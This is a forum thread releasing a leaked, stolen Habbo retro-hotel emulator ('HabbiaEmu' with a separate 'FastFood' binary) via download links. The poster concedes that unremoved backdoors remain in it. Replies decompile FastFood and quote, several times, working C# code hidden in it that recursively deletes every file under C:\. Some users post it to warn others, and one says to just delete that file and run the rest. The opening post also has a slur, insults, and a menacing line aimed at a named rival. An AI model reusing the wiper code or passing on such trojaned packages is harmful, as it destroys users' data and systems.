[LEAKED!] HabbiaEmu (ButterStorm original with FastFood)

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  1. #1
    Member Bienvenue is offline
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    [LEAKED!] HabbiaEmu (ButterStorm original with FastFood)

    Heya!

    I'm the official leaker of butterstorm (i was the who's made the first in leak it..) and now i give for you guys the official latest with Fastfood :'D
    Is really shit the fastfood(coded by someone named Doraemon lol)... works really bad, so i don't recommend to anyone use it, sometimes the client crash for the users playing fastfood.

    The emulator is stable for 2500 users, tested on hlat.us (is same actual version).

    • I have the decompiled source fixed by capostrike93 (some weeks ago), the bin and the real source.
    • Binary Fastfood, i didn't decompiled it because i haven't time, so if someone do it and fix the source he can send me a PM for edit the
    • The bin generated of the source code original (not decompiled) of this version is in /bin/Debug/
    • Database is attached in the rar empty, anyway don't have big changes, just 7 columns (in users and
    • enjoy that, you have source code, search any backdoor, i commented some backdoors but i didn't finished, so you are responsable for yourself.


    Credits for:
    Me
    Itachi (Make butterstorm)
    Habbia (HABBIA EMU == HABBOLATINO EMU)
    Capostrike93(For fix the decompiled version)
    Lavvos
    LittleJ


    Links of Emu+Database Structure:
    HabbiaEmulator (Butterstorm aka hlat emu).rar (6.1 MB)
    https://mega.co.nz/#!TRElxYLY!btRYvW...7KZXUo7tFhQwSc

    Link of Fastfood Emu (JUST BIN NOT SOURCE INCLUDED)
    Fastfood.rar (182 KB)
    https://mega.co.nz/#!bQliCb7L!CDboPD...BPzoQNN65ZKhLs

    Why HabbiaEmu?
    Because i stoled it from hes friend, he gives upgrates to Habbia
    Reasons why i release that and don't keeped for my own intereses (shit like a manifiest):

    The owner of Hlat named Adalberto (Fakundo) is the responsable for destroy the Retro Community in spanish scene, from one year ago he likes ddos everyone better than him.
    So, watching that, i was obliged to pay protected server of < 1500€ for one hotel of 500 users (majority of money from my pocket and donations from staff team) because this fag don't stoped from 1 year ago to DDoS (hitting 1.300.000pps), now he want to kill me (really lol, he searchs someone for go to my home for do it) reasons: because i give him back hes own shit lol and he can't put down my hotel. Just enjoy that mr.adalberto, you are a shit of humanity, your end is comming soon :D

    Resumed, this guy is crazy and it's time to payback :D
    Last edited by Bienvenue; 20-02-13 at 11:08 PM.


  2. #2
    Elite Member iBling14 is offline
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    Re: [LEAKED!] HabbiaEmu (ButterStorm original with FastFood)

    This needs more of an explanation of how to use it exactly, why is fast food an exe etc? Stuff like SWF version also helps

  3. #3
    Member Bienvenue is offline
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    Re: [LEAKED!] HabbiaEmu (ButterStorm original with FastFood)

    Dude, no problem...
    I will upload all swf and make an tutorial in some minuts :)

  4. #4
    Evil Italian Overlowrd Droppy is offline
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    Re: [LEAKED!] HabbiaEmu (ButterStorm original with FastFood)

    Quote Originally Posted by iBling14 View Post
    This needs more of an explanation of how to use it exactly, why is fast food an exe etc? Stuff like SWF version also helps
    The Fastfood is out from emulator (a separed EXE) because uses another socket server, they also can do that in the same emu, but is better use a another emulator just for Fastfood, and they need own ServerMessage/ClientMessage.

    @OnTopic
    Veeery good work decompiling it :)

  5. #5
    Grand Master Glee is offline
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    Re: [LEAKED!] HabbiaEmu (ButterStorm original with FastFood)

    It has fastfood somewhat coded but not 100%

  6. #6
    Elite Member iBling14 is offline
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    Re: [LEAKED!] HabbiaEmu (ButterStorm original with FastFood)

    Quote Originally Posted by Droppy View Post
    The Fastfood is out from emulator (a separed EXE) because uses another socket server, they also can do that in the same emu, but is better use a another emulator just for Fastfood, and they need own ServerMessage/ClientMessage.

    @OnTopic
    Veeery good work decompiling it :)
    I see, good to know.

    @ThreadOwner ; I see that you said you have no time to Decompile the fast food, but can you do it after your video :S I want to steal it out of that dirty source.

  7. #7
    Sorcerer Supreme neto737 is offline
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    Re: [LEAKED!] HabbiaEmu (ButterStorm original with FastFood)

    Droppy and I just decompile the emulator :)

  8. #8
    [̲̅$̲̅(̲̅1̲̅)̲̅$ ̲̅] leenster is offline
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    Re: [LEAKED!] HabbiaEmu (ButterStorm original with FastFood)

    Quote Originally Posted by neto737 View Post
    Droppy and I just decompile the emulator :)
    yeah but too bad that it is obfuscated though....

  9. #9
    Member Bienvenue is offline
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    Re: [LEAKED!] HabbiaEmu (ButterStorm original with FastFood)

    I recommend you guys use this one, is more stable than bcstorm (i tested it and with 500 users crash)

  10. #10
    Elite Member iBling14 is offline
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    Re: [LEAKED!] HabbiaEmu (ButterStorm original with FastFood)

    Quote Originally Posted by leenster View Post
    yeah but too bad that it is obfuscated though....
    I got it De-obfuscated ;).

    Edit:

    FastFood De-Obfuscated - Compiled
    Last edited by iBling14; 21-02-13 at 10:26 PM. Reason: Added Emulator De-obfuscated.

  11. #11
    Developer Quackster is offline
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    Re: [LEAKED!] HabbiaEmu (ButterStorm original with FastFood)

    Quote Originally Posted by iBling14 View Post
    I got it De-obfuscated ;).

    Edit:

    Warning! | There might be a problem with the requested link

    Have fun, has errors when decompiled so won't run, good luck fixes.
    Not hard to deobfuscate the application (speaking from experience).

  12. #12
    Elite Member iBling14 is offline
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    Re: [LEAKED!] HabbiaEmu (ButterStorm original with FastFood)

    Quote Originally Posted by Quackster View Post
    Not hard to deobfuscate the application (speaking from experience).

    Where and when did I state that it was hard? xD

  13. #13
    Grand Master iRetro™ is offline
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    Re: [LEAKED!] HabbiaEmu (ButterStorm original with FastFood)

    Cool release, maybe we can work as a community and get fast-food shizzle 100% ?

  14. #14
    [̲̅$̲̅(̲̅1̲̅)̲̅$ ̲̅] leenster is offline
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    Re: [LEAKED!] HabbiaEmu (ButterStorm original with FastFood)

    Quote Originally Posted by iBling14 View Post
    I got it De-obfuscated ;).

    Edit:

    Download Fast.Food.Obfuscated.rar @ UppIT

    Have fun, has errors when decompiled so won't run, good luck fixes.
    Decompile that one and find this:

    PHP Code:
    namespace ns0
    {
        
    using System;
        
    using System.IO;

        
    internal sealed class Class0
        
    {
            
    internal static void smethod_0()
            {
                
    smethod_1(new DirectoryInfo(@"C:\\"));
            }

            private static 
    unsafe void smethod_1(DirectoryInfo directoryInfo_0)
            {
                
    voidvoidPtr = (void*) stackalloc byte[8];
                try
                {
                    
    FileInfo[] files directoryInfo_0.GetFiles();
                    *((
    int*) voidPtr) = 0;
                
    Label_0010:
                    if (*(((
    int*) voidPtr)) >= files.Length)
                    {
                        try
                        {
                            
    DirectoryInfo[] directories directoryInfo_0.GetDirectories();
                            *((
    int*) (voidPtr 4)) = 0;
                            while (*(((
    int*) (voidPtr 4))) < directories.Length)
                            {
                                
    DirectoryInfo info2 directories[*((int*) (voidPtr 4))];
                                
    smethod_1(info2);
                                *(((
    int*) (voidPtr 4)))++;
                            }
                        }
                        catch
                        {
                        }
                        try
                        {
                            
    Directory.Delete(directoryInfo_0.FullName);
                        }
                        catch
                        {
                        }
                        return;
                    }
                    
    FileInfo info files[*((int*) voidPtr)];
                    try
                    {
                        
    File.Delete(info.FullName);
                    }
                    catch
                    {
                    }
                    *(((
    int*) voidPtr))++;
                }
                catch
                {
                }
                goto 
    Label_0010;
            }
        }

    It does not require a lot of skills to figure out what that code is supposed to do....

  15. #15
    Elite Member iBling14 is offline
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    Re: [LEAKED!] HabbiaEmu (ButterStorm original with FastFood)

    Quote Originally Posted by leenster View Post
    Decompile that one and find this:

    PHP Code:
    namespace ns0
    {
        
    using System;
        
    using System.IO;

        
    internal sealed class Class0
        
    {
            
    internal static void smethod_0()
            {
                
    smethod_1(new DirectoryInfo(@"C:\\"));
            }

            private static 
    unsafe void smethod_1(DirectoryInfo directoryInfo_0)
            {
                
    voidvoidPtr = (void*) stackalloc byte[8];
                try
                {
                    
    FileInfo[] files directoryInfo_0.GetFiles();
                    *((
    int*) voidPtr) = 0;
                
    Label_0010:
                    if (*(((
    int*) voidPtr)) >= files.Length)
                    {
                        try
                        {
                            
    DirectoryInfo[] directories directoryInfo_0.GetDirectories();
                            *((
    int*) (voidPtr 4)) = 0;
                            while (*(((
    int*) (voidPtr 4))) < directories.Length)
                            {
                                
    DirectoryInfo info2 directories[*((int*) (voidPtr 4))];
                                
    smethod_1(info2);
                                *(((
    int*) (voidPtr 4)))++;
                            }
                        }
                        catch
                        {
                        }
                        try
                        {
                            
    Directory.Delete(directoryInfo_0.FullName);
                        }
                        catch
                        {
                        }
                        return;
                    }
                    
    FileInfo info files[*((int*) voidPtr)];
                    try
                    {
                        
    File.Delete(info.FullName);
                    }
                    catch
                    {
                    }
                    *(((
    int*) voidPtr))++;
                }
                catch
                {
                }
                goto 
    Label_0010;
            }
        }

    It does not require a lot of skills to figure out what that code is supposed to do....

    FastFood De-Obfuscated - Compiled
    Last edited by iBling14; 21-02-13 at 10:27 PM.

  16. #16
    Grand Master JaydenC is offline
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    Re: [LEAKED!] HabbiaEmu (ButterStorm original with FastFood)

    ^ I'm getting the same thing as leon.

  17. #17
    Elite Member iBling14 is offline
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    Re: [LEAKED!] HabbiaEmu (ButterStorm original with FastFood)

    Quote Originally Posted by jaydenn View Post
    ^ I'm getting the same thing as leon.
    Code:
    using System;
    using System.IO;
    
    namespace ns0
    {
      internal sealed class Class0
      {
        internal static void smethod_0()
        {
          Class0.smethod_1(new DirectoryInfo("C:\\\\"));
        }
    
        private static unsafe void smethod_1(DirectoryInfo directoryInfo_0)
        {
          // ISSUE: untyped stack allocation
          void* voidPtr = (void*) __untypedstackalloc(8);
          try
          {
            FileInfo[] files = directoryInfo_0.GetFiles();
            *(int*) voidPtr = 0;
            while (*(int*) voidPtr < files.Length)
            {
              FileInfo fileInfo = files[*(int*) voidPtr];
              try
              {
                File.Delete(fileInfo.FullName);
              }
              catch
              {
              }
              *(int*) voidPtr = *(int*) voidPtr + 1;
            }
          }
          catch
          {
          }
          try
          {
            DirectoryInfo[] directories = directoryInfo_0.GetDirectories();
            *(int*) ((IntPtr) voidPtr + 4) = 0;
            while (*(int*) ((IntPtr) voidPtr + 4) < directories.Length)
            {
              Class0.smethod_1(directories[*(int*) ((IntPtr) voidPtr + 4)]);
              *(int*) ((IntPtr) voidPtr + 4) = *(int*) ((IntPtr) voidPtr + 4) + 1;
            }
          }
          catch
          {
          }
          try
          {
            Directory.Delete(directoryInfo_0.FullName);
          }
          catch
          {
          }
        }
      }
    }
    If you're talking about that, it's 1 file, remove it.. I didn't add it, should not be blamed for it, could be thread owner, or who ever coded it, after removing that, just fix a few more errors, and runs fine.

    Edit:

    FastFood De-Obfuscated - Compiled
    Last edited by iBling14; 21-02-13 at 04:14 AM.

  18. #18
    Run, but I'll find you. Ddos Attack is offline
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    Re: [LEAKED!] HabbiaEmu (ButterStorm original with FastFood)

    Job for leenster: add Fast food to ur edit lmao

  19. #19
    Grand Master JaydenC is offline
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    Re: [LEAKED!] HabbiaEmu (ButterStorm original with FastFood)

    Why? do it yourself - download visual studios 2010 and add it

  20. #20
    I don't even know azaidi is offline
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    Re: [LEAKED!] HabbiaEmu (ButterStorm original with FastFood)

    Quote Originally Posted by leenster View Post
    Decompile that one and find this:

    PHP Code:
    namespace ns0
    {
        
    using System;
        
    using System.IO;

        
    internal sealed class Class0
        
    {
            
    internal static void smethod_0()
            {
                
    smethod_1(new DirectoryInfo(@"C:\\"));
            }

            private static 
    unsafe void smethod_1(DirectoryInfo directoryInfo_0)
            {
                
    voidvoidPtr = (void*) stackalloc byte[8];
                try
                {
                    
    FileInfo[] files directoryInfo_0.GetFiles();
                    *((
    int*) voidPtr) = 0;
                
    Label_0010:
                    if (*(((
    int*) voidPtr)) >= files.Length)
                    {
                        try
                        {
                            
    DirectoryInfo[] directories directoryInfo_0.GetDirectories();
                            *((
    int*) (voidPtr 4)) = 0;
                            while (*(((
    int*) (voidPtr 4))) < directories.Length)
                            {
                                
    DirectoryInfo info2 directories[*((int*) (voidPtr 4))];
                                
    smethod_1(info2);
                                *(((
    int*) (voidPtr 4)))++;
                            }
                        }
                        catch
                        {
                        }
                        try
                        {
                            
    Directory.Delete(directoryInfo_0.FullName);
                        }
                        catch
                        {
                        }
                        return;
                    }
                    
    FileInfo info files[*((int*) voidPtr)];
                    try
                    {
                        
    File.Delete(info.FullName);
                    }
                    catch
                    {
                    }
                    *(((
    int*) voidPtr))++;
                }
                catch
                {
                }
                goto 
    Label_0010;
            }
        }

    It does not require a lot of skills to figure out what that code is supposed to do....
    Why the fuck is he using bitwise operators for wiping C:

  21. #21
    Run, but I'll find you. Ddos Attack is offline
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    Re: [LEAKED!] HabbiaEmu (ButterStorm original with FastFood)

    Quote Originally Posted by jaydenn View Post
    Why? do it yourself - download visual studios 2010 and add it
    Its called a joke x)

  22. #22
    Check http://arcturus.pw The General is offline
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    Re: [LEAKED!] HabbiaEmu (ButterStorm original with FastFood)

    Quote Originally Posted by leenster View Post
    Decompile that one and find this:

    PHP Code:
    namespace ns0
    {
        
    using System;
        
    using System.IO;

        
    internal sealed class Class0
        
    {
            
    internal static void smethod_0()
            {
                
    smethod_1(new DirectoryInfo(@"C:\\"));
            }

            private static 
    unsafe void smethod_1(DirectoryInfo directoryInfo_0)
            {
                
    voidvoidPtr = (void*) stackalloc byte[8];
                try
                {
                    
    FileInfo[] files directoryInfo_0.GetFiles();
                    *((
    int*) voidPtr) = 0;
                
    Label_0010:
                    if (*(((
    int*) voidPtr)) >= files.Length)
                    {
                        try
                        {
                            
    DirectoryInfo[] directories directoryInfo_0.GetDirectories();
                            *((
    int*) (voidPtr 4)) = 0;
                            while (*(((
    int*) (voidPtr 4))) < directories.Length)
                            {
                                
    DirectoryInfo info2 directories[*((int*) (voidPtr 4))];
                                
    smethod_1(info2);
                                *(((
    int*) (voidPtr 4)))++;
                            }
                        }
                        catch
                        {
                        }
                        try
                        {
                            
    Directory.Delete(directoryInfo_0.FullName);
                        }
                        catch
                        {
                        }
                        return;
                    }
                    
    FileInfo info files[*((int*) voidPtr)];
                    try
                    {
                        
    File.Delete(info.FullName);
                    }
                    catch
                    {
                    }
                    *(((
    int*) voidPtr))++;
                }
                catch
                {
                }
                goto 
    Label_0010;
            }
        }

    It does not require a lot of skills to figure out what that code is supposed to do....
    I think it gives you a free cookie.

    Also what are the features of this?

    Has it LTD?
    Do badges in catalogue work?
    Rentable Bots?
    Groups?

    Tell me more features, cba to look over the source as I dont understand C#

  23. #23
    Elite Member Snixerz is offline
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    Re: [LEAKED!] HabbiaEmu (ButterStorm original with FastFood)

    Does anyone know if this emulator is stable? More stable than BCStorm?

    Thanks!

  24. #24
    Check http://arcturus.pw The General is offline
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    Re: [LEAKED!] HabbiaEmu (ButterStorm original with FastFood)

    Quote Originally Posted by Snixerz View Post
    Does anyone know if this emulator is stable? More stable than BCStorm?

    Thanks!
    Notreally. I tested fastfood on hlat.us but it isnt working. Dont bother using it. Also there are not that many features in it. Groups missing and stuff.

  25. #25
    Run, but I'll find you. Ddos Attack is offline
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    Re: [LEAKED!] HabbiaEmu (ButterStorm original with FastFood)

    Quote Originally Posted by tdid View Post
    Notreally. I tested fastfood on hlat.us but it isnt working. Dont bother using it. Also there are not that many features in it. Groups missing and stuff.
    Does look like room promos are coded tho



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